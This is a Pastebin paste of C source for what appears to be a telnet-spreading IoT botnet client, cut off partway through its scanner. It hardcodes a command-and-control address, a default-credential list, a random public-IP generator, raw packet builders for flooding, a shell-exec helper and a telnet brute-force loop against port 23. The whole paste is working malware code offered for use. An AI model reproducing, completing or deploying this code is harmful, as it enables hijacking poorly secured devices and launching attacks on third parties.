ZucoCheezy

ZoneSec-Client

Nov 26th, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 49.16 KB | None | 0 0
  1. //     ___      __ _
  2. //    /   \___ / _(_)_ __   ___  ___
  3. //   / /\ / _ \ |_| | '_ \ / _ \/ __|
  4. //  / /_//  __/  _| | | | |  __/\__ \
  5. // /___,' \___|_| |_|_| |_|\___||___/
  6.  
  7. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  8. #define PAD_RIGHT 1
  9. #define PAD_ZERO 2
  10. #define PRINT_BUF_LEN 12
  11. #define CMD_IAC   255
  12. #define CMD_WILL  251
  13. #define CMD_WONT  252
  14. #define CMD_DO    253
  15. #define CMD_DONT  254
  16. #define OPT_SGA   3
  17.  
  18. //   _____            _           _
  19. //   \_   \_ __   ___| |_   _  __| | ___  ___
  20. //    / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  21. // /\/ /_ | | | | (__| | |_| | (_| |  __/\__ \
  22. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  23.  
  24. #include <stdlib.h>
  25. #include <stdarg.h>
  26. #include <stdio.h>
  27. #include <sys/socket.h>
  28. #include <sys/types.h>
  29. #include <netinet/in.h>
  30. #include <arpa/inet.h>
  31. #include <netdb.h>
  32. #include <signal.h>
  33. #include <strings.h>
  34. #include <string.h>
  35. #include <sys/utsname.h>
  36. #include <unistd.h>
  37. #include <fcntl.h>
  38. #include <errno.h>
  39. #include <netinet/ip.h>
  40. #include <netinet/udp.h>
  41. #include <netinet/tcp.h>
  42. #include <sys/wait.h>
  43. #include <sys/ioctl.h>
  44. #include <net/if.h>
  45.  
  46. //    ___             __ _
  47. //   / __\___  _ __  / _(_) __ _
  48. //  / /  / _ \| '_ \| |_| |/ _` |
  49. // / /__| (_) | | | |  _| | (_| |
  50. // \____/\___/|_| |_|_| |_|\__, |
  51. //                         |___/
  52.  
  53. unsigned char *commServer[] =
  54. {
  55.     "198.12.97.86:6969"
  56. };
  57.  
  58. //    ___                 _
  59. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  60. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  61. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  62. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  63.  
  64. int initConnection();
  65. int getBogos(unsigned char *bogomips);
  66. int getCores();
  67. int getCountry(unsigned char *buf, int bufsize);
  68. void makeRandomStr(unsigned char *buf, int length);
  69. int sockprintf(int sock, char *formatStr, ...);
  70. char *inet_ntoa(struct in_addr in);
  71.  
  72. //    ___ _       _           _
  73. //   / _ \ | ___ | |__   __ _| |___
  74. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  75. // / /_\\| | (_) | |_) | (_| | \__ \
  76. // \____/|_|\___/|_.__/ \__,_|_|___/
  77.  
  78. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  79. uint32_t *pids;
  80. uint32_t scanPid;
  81. uint64_t numpids = 0;
  82. struct in_addr ourIP;
  83. unsigned char macAddress[6] = {0};
  84. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "guest\0"};
  85. char *passwords[] = {"root\0", "\0", "admin\0", "user\0", "guest\0", "1234\0", "12345\0", "default\0", "dreambox\0", "password\0"};
  86.  
  87. //    ___  ___  __      __  ___
  88. //   / __\/ _ \/__\  /\ \ \/ _ \
  89. //  / _\ / /_)/ \// /  \/ / /_\/
  90. // / /  / ___/ _  \/ /\  / /_\\
  91. // \/   \/   \/ \_/\_\ \/\____/
  92.  
  93. #define PHI 0x9e3779b9
  94. static uint32_t Q[4096], c = 362436;
  95.  
  96. void init_rand(uint32_t x)
  97. {
  98.     int i;
  99.  
  100.     Q[0] = x;
  101.     Q[1] = x + PHI;
  102.     Q[2] = x + PHI + PHI;
  103.  
  104.     for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  105. }
  106.  
  107. uint32_t rand_cmwc(void)
  108. {
  109.     uint64_t t, a = 18782LL;
  110.     static uint32_t i = 4095;
  111.     uint32_t x, r = 0xfffffffe;
  112.     i = (i + 1) & 4095;
  113.     t = a * Q[i] + c;
  114.     c = (uint32_t)(t >> 32);
  115.     x = t + c;
  116.     if (x < c) {
  117.         x++;
  118.         c++;
  119.     }
  120.     return (Q[i] = r - x);
  121. }
  122.  
  123. //        _   _ _
  124. //  /\ /\| |_(_) |___
  125. // / / \ \ __| | / __|
  126. // \ \_/ / |_| | \__ \
  127. //  \___/ \__|_|_|___/
  128.  
  129. void trim(char *str)
  130. {
  131.     int i;
  132.     int begin = 0;
  133.     int end = strlen(str) - 1;
  134.  
  135.     while (isspace(str[begin])) begin++;
  136.  
  137.     while ((end >= begin) && isspace(str[end])) end--;
  138.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  139.  
  140.     str[i - begin] = '\0';
  141. }
  142.  
  143. static void printchar(unsigned char **str, int c)
  144. {
  145.     if (str) {
  146.         **str = c;
  147.         ++(*str);
  148.     }
  149.     else (void)write(1, &c, 1);
  150. }
  151.  
  152. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  153. {
  154.     register int pc = 0, padchar = ' ';
  155.  
  156.     if (width > 0) {
  157.         register int len = 0;
  158.         register const unsigned char *ptr;
  159.         for (ptr = string; *ptr; ++ptr) ++len;
  160.         if (len >= width) width = 0;
  161.         else width -= len;
  162.         if (pad & PAD_ZERO) padchar = '0';
  163.     }
  164.     if (!(pad & PAD_RIGHT)) {
  165.         for ( ; width > 0; --width) {
  166.             printchar (out, padchar);
  167.             ++pc;
  168.         }
  169.     }
  170.     for ( ; *string ; ++string) {
  171.         printchar (out, *string);
  172.         ++pc;
  173.     }
  174.     for ( ; width > 0; --width) {
  175.         printchar (out, padchar);
  176.         ++pc;
  177.     }
  178.  
  179.     return pc;
  180. }
  181.  
  182. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  183. {
  184.     unsigned char print_buf[PRINT_BUF_LEN];
  185.     register unsigned char *s;
  186.     register int t, neg = 0, pc = 0;
  187.     register unsigned int u = i;
  188.  
  189.     if (i == 0) {
  190.         print_buf[0] = '0';
  191.         print_buf[1] = '\0';
  192.         return prints (out, print_buf, width, pad);
  193.     }
  194.  
  195.     if (sg && b == 10 && i < 0) {
  196.         neg = 1;
  197.         u = -i;
  198.     }
  199.  
  200.     s = print_buf + PRINT_BUF_LEN-1;
  201.     *s = '\0';
  202.  
  203.     while (u) {
  204.         t = u % b;
  205.         if( t >= 10 )
  206.         t += letbase - '0' - 10;
  207.         *--s = t + '0';
  208.         u /= b;
  209.     }
  210.  
  211.     if (neg) {
  212.         if( width && (pad & PAD_ZERO) ) {
  213.             printchar (out, '-');
  214.             ++pc;
  215.             --width;
  216.         }
  217.         else {
  218.             *--s = '-';
  219.         }
  220.     }
  221.  
  222.     return pc + prints (out, s, width, pad);
  223. }
  224.  
  225. static int print(unsigned char **out, const unsigned char *format, va_list args )
  226. {
  227.     register int width, pad;
  228.     register int pc = 0;
  229.     unsigned char scr[2];
  230.  
  231.     for (; *format != 0; ++format) {
  232.         if (*format == '%') {
  233.             ++format;
  234.             width = pad = 0;
  235.             if (*format == '\0') break;
  236.             if (*format == '%') goto out;
  237.             if (*format == '-') {
  238.                 ++format;
  239.                 pad = PAD_RIGHT;
  240.             }
  241.             while (*format == '0') {
  242.                 ++format;
  243.                 pad |= PAD_ZERO;
  244.             }
  245.             for ( ; *format >= '0' && *format <= '9'; ++format) {
  246.                 width *= 10;
  247.                 width += *format - '0';
  248.             }
  249.             if( *format == 's' ) {
  250.                 register char *s = (char *)va_arg( args, int );
  251.                 pc += prints (out, s?s:"(null)", width, pad);
  252.                 continue;
  253.             }
  254.             if( *format == 'd' ) {
  255.                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  256.                 continue;
  257.             }
  258.             if( *format == 'x' ) {
  259.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  260.                 continue;
  261.             }
  262.             if( *format == 'X' ) {
  263.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  264.                 continue;
  265.             }
  266.             if( *format == 'u' ) {
  267.                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  268.                 continue;
  269.             }
  270.             if( *format == 'c' ) {
  271.                 scr[0] = (unsigned char)va_arg( args, int );
  272.                 scr[1] = '\0';
  273.                 pc += prints (out, scr, width, pad);
  274.                 continue;
  275.             }
  276.         }
  277.         else {
  278. out:
  279.             printchar (out, *format);
  280.             ++pc;
  281.         }
  282.     }
  283.     if (out) **out = '\0';
  284.     va_end( args );
  285.     return pc;
  286. }
  287.  
  288. int zprintf(const unsigned char *format, ...)
  289. {
  290.     va_list args;
  291.     va_start( args, format );
  292.     return print( 0, format, args );
  293. }
  294.  
  295. int szprintf(unsigned char *out, const unsigned char *format, ...)
  296. {
  297.     va_list args;
  298.     va_start( args, format );
  299.     return print( &out, format, args );
  300. }
  301.  
  302.  
  303. int sockprintf(int sock, char *formatStr, ...)
  304. {
  305.     unsigned char *textBuffer = malloc(2048);
  306.     memset(textBuffer, 0, 2048);
  307.     char *orig = textBuffer;
  308.     va_list args;
  309.     va_start(args, formatStr);
  310.     print(&textBuffer, formatStr, args);
  311.     va_end(args);
  312.     orig[strlen(orig)] = '\n';
  313.     zprintf("buf: %s\n", orig);
  314.     int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  315.     free(orig);
  316.     return q;
  317. }
  318.  
  319. static int *fdopen_pids;
  320.  
  321. int fdpopen(unsigned char *program, register unsigned char *type)
  322. {
  323.     register int iop;
  324.     int pdes[2], fds, pid;
  325.  
  326.     if (*type != 'r' && *type != 'w' || type[1]) return -1;
  327.  
  328.     if (pipe(pdes) < 0) return -1;
  329.     if (fdopen_pids == NULL) {
  330.         if ((fds = getdtablesize()) <= 0) return -1;
  331.         if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  332.         memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  333.     }
  334.  
  335.     switch (pid = vfork())
  336.     {
  337.     case -1:
  338.         close(pdes[0]);
  339.         close(pdes[1]);
  340.         return -1;
  341.     case 0:
  342.         if (*type == 'r') {
  343.             if (pdes[1] != 1) {
  344.                 dup2(pdes[1], 1);
  345.                 close(pdes[1]);
  346.             }
  347.             close(pdes[0]);
  348.         } else {
  349.             if (pdes[0] != 0) {
  350.                 (void) dup2(pdes[0], 0);
  351.                 (void) close(pdes[0]);
  352.             }
  353.             (void) close(pdes[1]);
  354.         }
  355.         execl("/bin/sh", "sh", "-c", program, NULL);
  356.         _exit(127);
  357.     }
  358.     if (*type == 'r') {
  359.         iop = pdes[0];
  360.         (void) close(pdes[1]);
  361.     } else {
  362.         iop = pdes[1];
  363.         (void) close(pdes[0]);
  364.     }
  365.     fdopen_pids[iop] = pid;
  366.     return (iop);
  367. }
  368.  
  369. int fdpclose(int iop)
  370. {
  371.     register int fdes;
  372.     sigset_t omask, nmask;
  373.     int pstat;
  374.     register int pid;
  375.  
  376.     if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  377.     (void) close(iop);
  378.     sigemptyset(&nmask);
  379.     sigaddset(&nmask, SIGINT);
  380.     sigaddset(&nmask, SIGQUIT);
  381.     sigaddset(&nmask, SIGHUP);
  382.     (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  383.     do {
  384.         pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  385.     } while (pid == -1 && errno == EINTR);
  386.     (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  387.     fdopen_pids[fdes] = 0;
  388.     return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  389. }
  390.  
  391. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  392. {
  393.     int got = 1, total = 0;
  394.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  395.     return got == 0 ? NULL : buffer;
  396. }
  397.  
  398. static const long hextable[] = {
  399.     [0 ... 255] = -1,
  400.     ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  401.     ['A'] = 10, 11, 12, 13, 14, 15,
  402.     ['a'] = 10, 11, 12, 13, 14, 15
  403. };
  404.  
  405. long parseHex(unsigned char *hex)
  406. {
  407.     long ret = 0;
  408.     while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  409.     return ret;
  410. }
  411.  
  412. int wildString(const unsigned char* pattern, const unsigned char* string) {
  413.     switch(*pattern)
  414.     {
  415.     case '\0': return *string;
  416.     case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  417.     case '?': return !(*string && !wildString(pattern+1, string+1));
  418.     default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  419.     }
  420. }
  421.  
  422. int getHost(unsigned char *toGet, struct in_addr *i)
  423. {
  424.     struct hostent *h;
  425.     if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  426.     return 0;
  427. }
  428.  
  429. void uppercase(unsigned char *str)
  430. {
  431.     while(*str) { *str = toupper(*str); str++; }
  432. }
  433.  
  434. int getBogos(unsigned char *bogomips)
  435. {
  436.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  437.     char linebuf[4096];
  438.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  439.     {
  440.         uppercase(linebuf);
  441.         if(strstr(linebuf, "BOGOMIPS") == linebuf)
  442.         {
  443.             unsigned char *pos = linebuf + 8;
  444.             while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  445.             while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  446.             if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  447.             strcpy(bogomips, pos);
  448.             close(cmdline);
  449.             return 0;
  450.         }
  451.         memset(linebuf, 0, 4096);
  452.     }
  453.     close(cmdline);
  454.     return 1;
  455. }
  456.  
  457. int getCores()
  458. {
  459.     int totalcores = 0;
  460.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  461.     char linebuf[4096];
  462.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  463.     {
  464.         uppercase(linebuf);
  465.         if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  466.         memset(linebuf, 0, 4096);
  467.     }
  468.     close(cmdline);
  469.     return totalcores;
  470.  
  471. }
  472.  
  473. void makeRandomStr(unsigned char *buf, int length)
  474. {
  475.     int i = 0;
  476.     for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  477. }
  478.  
  479. int recvLine(int socket, unsigned char *buf, int bufsize)
  480. {
  481.     memset(buf, 0, bufsize);
  482.  
  483.     fd_set myset;
  484.     struct timeval tv;
  485.     tv.tv_sec = 30;
  486.     tv.tv_usec = 0;
  487.     FD_ZERO(&myset);
  488.     FD_SET(socket, &myset);
  489.     int selectRtn, retryCount;
  490.     if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  491.         while(retryCount < 10)
  492.         {
  493.             sockprintf(mainCommSock, "PING");
  494.  
  495.             tv.tv_sec = 30;
  496.             tv.tv_usec = 0;
  497.             FD_ZERO(&myset);
  498.             FD_SET(socket, &myset);
  499.             if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  500.                 retryCount++;
  501.                 continue;
  502.             }
  503.  
  504.             break;
  505.         }
  506.     }
  507.  
  508.     unsigned char tmpchr;
  509.     unsigned char *cp;
  510.     int count = 0;
  511.  
  512.     cp = buf;
  513.     while(bufsize-- > 1)
  514.     {
  515.         if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  516.             *cp = 0x00;
  517.             return -1;
  518.         }
  519.         *cp++ = tmpchr;
  520.         if(tmpchr == '\n') break;
  521.         count++;
  522.     }
  523.     *cp = 0x00;
  524.  
  525.     zprintf("recv: %s\n", cp);
  526.  
  527.     return count;
  528. }
  529.  
  530. int connectTimeout(int fd, char *host, int port, int timeout)
  531. {
  532.     struct sockaddr_in dest_addr;
  533.     fd_set myset;
  534.     struct timeval tv;
  535.     socklen_t lon;
  536.  
  537.     int valopt;
  538.     long arg = fcntl(fd, F_GETFL, NULL);
  539.     arg |= O_NONBLOCK;
  540.     fcntl(fd, F_SETFL, arg);
  541.  
  542.     dest_addr.sin_family = AF_INET;
  543.     dest_addr.sin_port = htons(port);
  544.     if(getHost(host, &dest_addr.sin_addr)) return 0;
  545.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  546.     int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  547.  
  548.     if (res < 0) {
  549.         if (errno == EINPROGRESS) {
  550.             tv.tv_sec = timeout;
  551.             tv.tv_usec = 0;
  552.             FD_ZERO(&myset);
  553.             FD_SET(fd, &myset);
  554.             if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  555.                 lon = sizeof(int);
  556.                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  557.                 if (valopt) return 0;
  558.             }
  559.             else return 0;
  560.         }
  561.         else return 0;
  562.     }
  563.  
  564.     arg = fcntl(fd, F_GETFL, NULL);
  565.     arg &= (~O_NONBLOCK);
  566.     fcntl(fd, F_SETFL, arg);
  567.  
  568.     return 1;
  569. }
  570.  
  571. int listFork()
  572. {
  573.     uint32_t parent, *newpids, i;
  574.     parent = fork();
  575.     if (parent <= 0) return parent;
  576.     numpids++;
  577.     newpids = (uint32_t*)malloc((numpids + 1) * 4);
  578.     for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  579.     newpids[numpids - 1] = parent;
  580.     free(pids);
  581.     pids = newpids;
  582.     return parent;
  583. }
  584.  
  585. int negotiate(int sock, unsigned char *buf, int len)
  586. {
  587.     unsigned char c;
  588.  
  589.     switch (buf[1]) {
  590.     case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  591.     case CMD_WILL:
  592.     case CMD_WONT:
  593.     case CMD_DO:
  594.     case CMD_DONT:
  595.         c = CMD_IAC;
  596.         send(sock, &c, 1, MSG_NOSIGNAL);
  597.         if (CMD_WONT == buf[1]) c = CMD_DONT;
  598.         else if (CMD_DONT == buf[1]) c = CMD_WONT;
  599.         else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  600.         else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  601.         send(sock, &c, 1, MSG_NOSIGNAL);
  602.         send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  603.         break;
  604.  
  605.     default:
  606.         break;
  607.     }
  608.  
  609.     return 0;
  610. }
  611.  
  612. int matchPrompt(char *bufStr)
  613. {
  614.     char *prompts = ":>%$#\0";
  615.  
  616.     int bufLen = strlen(bufStr);
  617.     int i, q = 0;
  618.     for(i = 0; i < strlen(prompts); i++)
  619.     {
  620.         while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  621.         if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  622.     }
  623.  
  624.     return 0;
  625. }
  626.  
  627. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  628. {
  629.     int bufferUsed = initialIndex, got = 0, found = 0;
  630.     fd_set myset;
  631.     struct timeval tv;
  632.     tv.tv_sec = timeout;
  633.     tv.tv_usec = timeoutusec;
  634.     unsigned char *initialRead = NULL;
  635.  
  636.     while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  637.     {
  638.         FD_ZERO(&myset);
  639.         FD_SET(fd, &myset);
  640.         if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  641.         initialRead = buffer + bufferUsed;
  642.         got = recv(fd, initialRead, 1, 0);
  643.         if(got == -1 || got == 0) return 0;
  644.         bufferUsed += got;
  645.         if(*initialRead == 0xFF)
  646.         {
  647.             got = recv(fd, initialRead + 1, 2, 0);
  648.             if(got == -1 || got == 0) return 0;
  649.             bufferUsed += got;
  650.             if(!negotiate(fd, initialRead, 3)) return 0;
  651.         } else {
  652.             if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  653.         }
  654.     }
  655.  
  656.     if(found) return 1;
  657.     return 0;
  658. }
  659.  
  660. //   _____  ___         _   _ _
  661. //   \_   \/ _ \  /\ /\| |_(_) |___
  662. //    / /\/ /_)/ / / \ \ __| | / __|
  663. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  664. // \____/\/       \___/ \__|_|_|___/
  665.  
  666. static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
  667. in_addr_t getRandomPublicIP()
  668. {
  669.     if(ipState[1] > 0 && ipState[4] < 255)
  670.     {
  671.         ipState[4]++;
  672.         char ip[16] = {0};
  673.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  674.         return inet_addr(ip);
  675.     }
  676.  
  677.     ipState[1] = rand() % 255;
  678.     ipState[2] = rand() % 255;
  679.     ipState[3] = rand() % 255;
  680.     ipState[4] = 0;
  681.     while(
  682.         (ipState[1] == 0) ||
  683.         (ipState[1] == 10) ||
  684.         (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  685.         (ipState[1] == 127) ||
  686.         (ipState[1] == 169 && ipState[2] == 254) ||
  687.         (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  688.         (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  689.         (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  690.         (ipState[1] == 192 && ipState[2] == 168) ||
  691.         (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  692.         (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  693.         (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  694.         (ipState[1] >= 224)
  695.     )
  696.     {
  697.         ipState[1] = rand() % 255;
  698.         ipState[2] = rand() % 255;
  699.         ipState[3] = rand() % 255;
  700.     }
  701.  
  702.     char ip[16] = {0};
  703.     szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
  704.     return inet_addr(ip);
  705. }
  706.  
  707. in_addr_t getRandomIP(in_addr_t netmask)
  708. {
  709.     in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  710.     return tmp ^ ( rand_cmwc() & ~netmask);
  711. }
  712.  
  713. unsigned short csum (unsigned short *buf, int count)
  714. {
  715.     register uint64_t sum = 0;
  716.     while( count > 1 ) { sum += *buf++; count -= 2; }
  717.     if(count > 0) { sum += *(unsigned char *)buf; }
  718.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  719.     return (uint16_t)(~sum);
  720. }
  721.  
  722. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  723. {
  724.  
  725.     struct tcp_pseudo
  726.     {
  727.         unsigned long src_addr;
  728.         unsigned long dst_addr;
  729.         unsigned char zero;
  730.         unsigned char proto;
  731.         unsigned short length;
  732.     } pseudohead;
  733.     unsigned short total_len = iph->tot_len;
  734.     pseudohead.src_addr=iph->saddr;
  735.     pseudohead.dst_addr=iph->daddr;
  736.     pseudohead.zero=0;
  737.     pseudohead.proto=IPPROTO_TCP;
  738.     pseudohead.length=htons(sizeof(struct tcphdr));
  739.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  740.     unsigned short *tcp = malloc(totaltcp_len);
  741.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  742.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  743.     unsigned short output = csum(tcp,totaltcp_len);
  744.     free(tcp);
  745.     return output;
  746. }
  747.  
  748. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  749. {
  750.     iph->ihl = 5;
  751.     iph->version = 4;
  752.     iph->tos = 0;
  753.     iph->tot_len = sizeof(struct iphdr) + packetSize;
  754.     iph->id = rand_cmwc();
  755.     iph->frag_off = 0;
  756.     iph->ttl = MAXTTL;
  757.     iph->protocol = protocol;
  758.     iph->check = 0;
  759.     iph->saddr = source;
  760.     iph->daddr = dest;
  761. }
  762.  
  763. int sclose(int fd)
  764. {
  765.     if(3 > fd) return 1;
  766.     close(fd);
  767.     return 0;
  768. }
  769.  
  770. //  _____     _            _     __                                   _      _
  771. // /__   \___| |_ __   ___| |_  / _\ ___ __ _ _ __  _ __   ___ _ __  | | ___| |
  772. //   / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  773. //  / / |  __/ | | | |  __/ |_  _\ \ (_| (_| | | | | | | |  __/ |    | |  __/ |
  774. //  \/   \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_|    |_|\___|_|
  775.  
  776. void StartTheLelz()
  777. {
  778.     int max = (getdtablesize() / 4) * 3, i, res;
  779.     fd_set myset;
  780.     struct timeval tv;
  781.     socklen_t lon;
  782.     int valopt;
  783.  
  784.     max = max > 512 ? 512 : max;
  785.  
  786.     struct sockaddr_in dest_addr;
  787.     dest_addr.sin_family = AF_INET;
  788.     dest_addr.sin_port = htons(23);
  789.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  790.  
  791.     struct telstate_t
  792.     {
  793.         int fd;
  794.         uint32_t ip;
  795.         uint8_t state;
  796.         uint8_t complete;
  797.         uint8_t usernameInd;
  798.         uint8_t passwordInd;
  799.         uint32_t totalTimeout;
  800.         uint16_t bufUsed;
  801.         char *sockbuf;
  802.     } fds[max];
  803.     memset(fds, 0, max * (sizeof(int) + 1));
  804.     for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  805.  
  806.     while(1)
  807.     {
  808.         for(i = 0; i < max; i++)
  809.         {
  810.             switch(fds[i].state)
  811.             {
  812.             case 0:
  813.                 {
  814.                     memset(fds[i].sockbuf, 0, 1024);
  815.  
  816.                     if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  817.                     else {
  818.                         fds[i].passwordInd++;
  819.                         if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  820.                         if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  821.                     }
  822.                     dest_addr.sin_family = AF_INET;
  823.                     dest_addr.sin_port = htons(23);
  824.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  825.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  826.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  827.                     if(fds[i].fd == -1) { continue; }
  828.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  829.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
  830.                     else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  831.                 }
  832.                 break;
  833.  
  834.             case 1:
  835.                 {
  836.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  837.  
  838.                     FD_ZERO(&myset);
  839.                     FD_SET(fds[i].fd, &myset);
  840.                     tv.tv_sec = 0;
  841.                     tv.tv_usec = 10000;
  842.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  843.                     if(res == 1)
  844.                     {
  845.                         lon = sizeof(int);
  846.                         valopt = 0;
  847.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  848.                         if(valopt)
  849.                         {
  850.                             sclose(fds[i].fd);
  851.                             fds[i].state = 0;
  852.                             fds[i].complete = 1;
  853.                         } else {
  854.                             fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  855.                             fds[i].totalTimeout = 0;
  856.                             fds[i].bufUsed = 0;
  857.                             memset(fds[i].sockbuf, 0, 1024);
  858.                             fds[i].state = 2;
  859.                             continue;
  860.                         }
  861.                     } else if(res == -1)
  862.                     {
  863.                         sclose(fds[i].fd);
  864.                         fds[i].state = 0;
  865.                         fds[i].complete = 1;
  866.                     }
  867.  
  868.                     if(fds[i].totalTimeout + 10 < time(NULL))
  869.                     {
  870.                         sclose(fds[i].fd);
  871.                         fds[i].state = 0;
  872.                         fds[i].complete = 1;
  873.                     }
  874.                 }
  875.                 break;
  876.  
  877.             case 2:
  878.                 {
  879.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  880.                     if(matchPrompt(fds[i].sockbuf)) {
  881.                         fds[i].state = 8;
  882.                     }
  883.                     if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  884.                     {
  885.                         fds[i].totalTimeout = 0;
  886.                         fds[i].bufUsed = 0;
  887.                         memset(fds[i].sockbuf, 0, 1024);
  888.                         fds[i].state = 3;
  889.                         continue;
  890.                     } else {
